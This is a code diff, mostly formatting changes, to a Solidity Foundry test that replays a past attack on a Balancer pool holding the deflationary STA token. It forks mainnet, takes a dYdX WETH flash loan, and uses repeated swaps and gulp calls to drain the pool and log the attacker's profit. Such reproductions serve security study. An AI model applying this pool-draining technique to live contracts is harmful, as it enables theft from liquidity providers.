@@ -29,12 +29,12 @@ struct AccountInfo {
2929
3030interface IUniswapV2Router02 {
3131 function swapExactTokensForTokens (
32- uint amountIn ,
33- uint amountOutMin ,
32+ uint256 amountIn ,
33+ uint256 amountOutMin ,
3434 address [] calldata path ,
3535 address to ,
36- uint deadline
37- ) external returns (uint [] memory amounts );
36+ uint256 deadline
37+ ) external returns (uint256 [] memory amounts );
3838}
3939
4040library Actions {
@@ -48,6 +48,7 @@ library Actions {
4848 Liquidate, // liquidate an undercollateralized or expiring account
4949 Vaporize, // use excess tokens to zero-out a completely negative account
5050 Call // send arbitrary data to an address
51+
5152 }
5253
5354 struct ActionArgs {
@@ -66,11 +67,13 @@ library Types {
6667 enum AssetDenomination {
6768 Wei, // the amount is denominated in wei
6869 Par // the amount is denominated in par
70+
6971 }
7072
7173 enum AssetReference {
7274 Delta, // the amount is given as a delta from the current value
7375 Target // the amount is given as an exact number to end up at
76+
7477 }
7578
7679 struct AssetAmount {
@@ -82,31 +85,32 @@ library Types {
8285}
8386
8487interface ISoloMargin {
85- function operate (
86- AccountInfo[] memory accounts ,
87- Actions.ActionArgs[] memory actions
88- ) external ;
88+ function operate (AccountInfo[] memory accounts , Actions.ActionArgs[] memory actions ) external ;
8989}
9090
9191interface BPool {
9292 function swapExactAmountIn (
9393 address tokenIn ,
94- uint tokenAmountIn ,
94+ uint256 tokenAmountIn ,
9595 address tokenOut ,
96- uint minAmountOut ,
97- uint maxPrice
98- ) external returns (uint tokenAmountOut , uint spotPriceAfter );
96+ uint256 minAmountOut ,
97+ uint256 maxPrice
98+ ) external returns (uint256 tokenAmountOut , uint256 spotPriceAfter );
9999
100- function gulp (address token ) external ;
100+ function gulp (
101+ address token
102+ ) external ;
101103
102- function getBalance (address token ) external view returns (uint );
104+ function getBalance (
105+ address token
106+ ) external view returns (uint256 );
103107
104108 function swapExactAmountOut (
105109 address tokenIn ,
106- uint maxAmountIn ,
110+ uint256 maxAmountIn ,
107111 address tokenOut ,
108- uint tokenAmountOut ,
109- uint maxPrice
112+ uint256 tokenAmountOut ,
113+ uint256 maxPrice
110114 ) external ;
111115}
112116
@@ -116,8 +120,8 @@ contract BalancerExp is Test {
116120 address sta = 0xa7DE087329BFcda5639247F96140f9DAbe3DeED1 ;
117121 BPool bpool = BPool (0x0e511Aa1a137AaD267dfe3a6bFCa0b856C1a3682 );
118122 address pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E ;
119- uint public constant BONE = 10 ** 18 ;
120- uint public constant MAX_IN_RATIO = BONE / 2 ;
123+ uint256 public constant BONE = 10 ** 18 ;
124+ uint256 public constant MAX_IN_RATIO = BONE / 2 ;
121125
122126 function setUp () public {
123127 vm.createSelectFork ("mainnet " , 10_355_806 );
@@ -131,36 +135,28 @@ contract BalancerExp is Test {
131135 IERC20 (sta).approve (pancakeV2Router, type (uint256 ).max);
132136
133137 emit log_named_decimal_uint (
134- "[Before Attack] Attacker WETH Balance : " ,
135- (IERC20 (weth).balanceOf (address (this ))),
136- 18
138+ "[Before Attack] Attacker WETH Balance : " , (IERC20 (weth).balanceOf (address (this ))), 18
137139 );
138140 emit log_named_decimal_uint (
139- "[Before Attack] Attacker STA Balance : " ,
140- (IERC20 (sta).balanceOf (address (this ))),
141- 18
141+ "[Before Attack] Attacker STA Balance : " , (IERC20 (sta).balanceOf (address (this ))), 18
142142 );
143143
144144 // attack
145145 attack ();
146146
147147 // check profit
148148 emit log_named_decimal_uint (
149- "[After Attack] Attacker WETH Balance : " ,
150- (IERC20 (weth).balanceOf (address (this ))),
151- 18
149+ "[After Attack] Attacker WETH Balance : " , (IERC20 (weth).balanceOf (address (this ))), 18
152150 );
153151 emit log_named_decimal_uint (
154- "[After Attack] Attacker STA Balance : " ,
155- (IERC20 (sta).balanceOf (address (this ))),
156- 18
152+ "[After Attack] Attacker STA Balance : " , (IERC20 (sta).balanceOf (address (this ))), 18
157153 );
158154 }
159155
160- function bmul (uint a , uint b ) internal pure returns (uint ) {
161- uint c0 = a * b;
162- uint c1 = c0 + (BONE / 2 );
163- uint c2 = c1 / BONE;
156+ function bmul (uint256 a , uint256 b ) internal pure returns (uint256 ) {
157+ uint256 c0 = a * b;
158+ uint256 c1 = c0 + (BONE / 2 );
159+ uint256 c2 = c1 / BONE;
164160 return c2;
165161 }
166162
@@ -174,7 +170,7 @@ contract BalancerExp is Test {
174170
175171 Actions.ActionArgs[] memory actions = new Actions.ActionArgs [](3 );
176172 {
177- uint wethAmount = IERC20 (weth).balanceOf (dydx);
173+ uint256 wethAmount = IERC20 (weth).balanceOf (dydx);
178174 actions[0 ].actionType = Actions.ActionType.Withdraw;
179175 actions[0 ].amount.value = wethAmount;
180176 actions[0 ].otherAddress = address (this );
@@ -198,83 +194,34 @@ contract BalancerExp is Test {
198194 ) external {
199195 // swap weth to sta
200196 bpool.gulp (weth);
201- uint MaxinRatio = bmul (bpool.getBalance (weth), MAX_IN_RATIO);
197+ uint256 MaxinRatio = bmul (bpool.getBalance (weth), MAX_IN_RATIO);
202198 bpool.swapExactAmountIn (weth, MaxinRatio - 1e18 , sta, 0 , 9999 * 1e18 );
203- bpool.swapExactAmountIn (
204- sta,
205- IERC20 (sta).balanceOf (address (this )),
206- weth,
207- 0 ,
208- 9999 * 1e18
209- );
199+ bpool.swapExactAmountIn (sta, IERC20 (sta).balanceOf (address (this )), weth, 0 , 9999 * 1e18 );
210200 MaxinRatio = bmul (bpool.getBalance (weth), MAX_IN_RATIO);
211- bpool.swapExactAmountIn (
212- weth,
213- (MaxinRatio * 50 ) / 100 ,
214- sta,
215- 0 ,
216- 9999 * 1e18
217- );
218- bpool.swapExactAmountIn (
219- sta,
220- IERC20 (sta).balanceOf (address (this )),
221- weth,
222- 0 ,
223- 9999 * 1e18
224- );
201+ bpool.swapExactAmountIn (weth, (MaxinRatio * 50 ) / 100 , sta, 0 , 9999 * 1e18 );
202+ bpool.swapExactAmountIn (sta, IERC20 (sta).balanceOf (address (this )), weth, 0 , 9999 * 1e18 );
225203 MaxinRatio = bmul (bpool.getBalance (weth), MAX_IN_RATIO);
226- bpool.swapExactAmountIn (
227- weth,
228- (MaxinRatio * 25 ) / 100 ,
229- sta,
230- 0 ,
231- 9999 * 1e18
232- );
233- bpool.swapExactAmountIn (
234- sta,
235- IERC20 (sta).balanceOf (address (this )),
236- weth,
237- 0 ,
238- 9999 * 1e18
239- );
204+ bpool.swapExactAmountIn (weth, (MaxinRatio * 25 ) / 100 , sta, 0 , 9999 * 1e18 );
205+ bpool.swapExactAmountIn (sta, IERC20 (sta).balanceOf (address (this )), weth, 0 , 9999 * 1e18 );
240206
241- for (uint i = 0 ; i < 16 ; i++ ) {
207+ for (uint256 i = 0 ; i < 16 ; i++ ) {
242208 MaxinRatio = bmul (bpool.getBalance (weth), MAX_IN_RATIO);
243209 if ((i + 1 ) < 9 ) {
244- bpool.swapExactAmountIn (
245- weth,
246- (MaxinRatio * (i + 1 ) * 10 ) / 100 ,
247- sta,
248- 0 ,
249- 9999 * 1e18
250- );
210+ bpool.swapExactAmountIn (weth, (MaxinRatio * (i + 1 ) * 10 ) / 100 , sta, 0 , 9999 * 1e18 );
251211 } else {
252- bpool.swapExactAmountIn (
253- weth,
254- (MaxinRatio * 95 ) / 100 ,
255- sta,
256- 0 ,
257- 9999 * 1e18
258- );
212+ bpool.swapExactAmountIn (weth, (MaxinRatio * 95 ) / 100 , sta, 0 , 9999 * 1e18 );
259213 }
260214 }
261215
262- require (
263- IERC20 (sta).balanceOf (address (this )) > 0 ,
264- "swap weth to sta failed "
265- );
216+ require (IERC20 (sta).balanceOf (address (this )) > 0 , "swap weth to sta failed " );
266217
267218 bpool.swapExactAmountOut (
268- weth,
269- 99999999999 * 1e18 ,
270- sta,
271- IERC20 (sta).balanceOf (address (bpool)) - 1 ,
272- 99999 * 1e18
219+ weth, 99_999_999_999 * 1e18 , sta, IERC20 (sta).balanceOf (address (bpool)) - 1 , 99_999 * 1e18
273220 );
274221 bpool.gulp (sta);
275222
276223 // swap sta to weth
277- for (uint j = 0 ; j < 20 ; j++ ) {
224+ for (uint256 j = 0 ; j < 20 ; j++ ) {
278225 MaxinRatio = bmul (bpool.getBalance (sta), MAX_IN_RATIO);
279226 bpool.swapExactAmountIn (sta, 1 , weth, 0 , 9999 * 1e18 );
280227 bpool.gulp (sta);
0 commit comments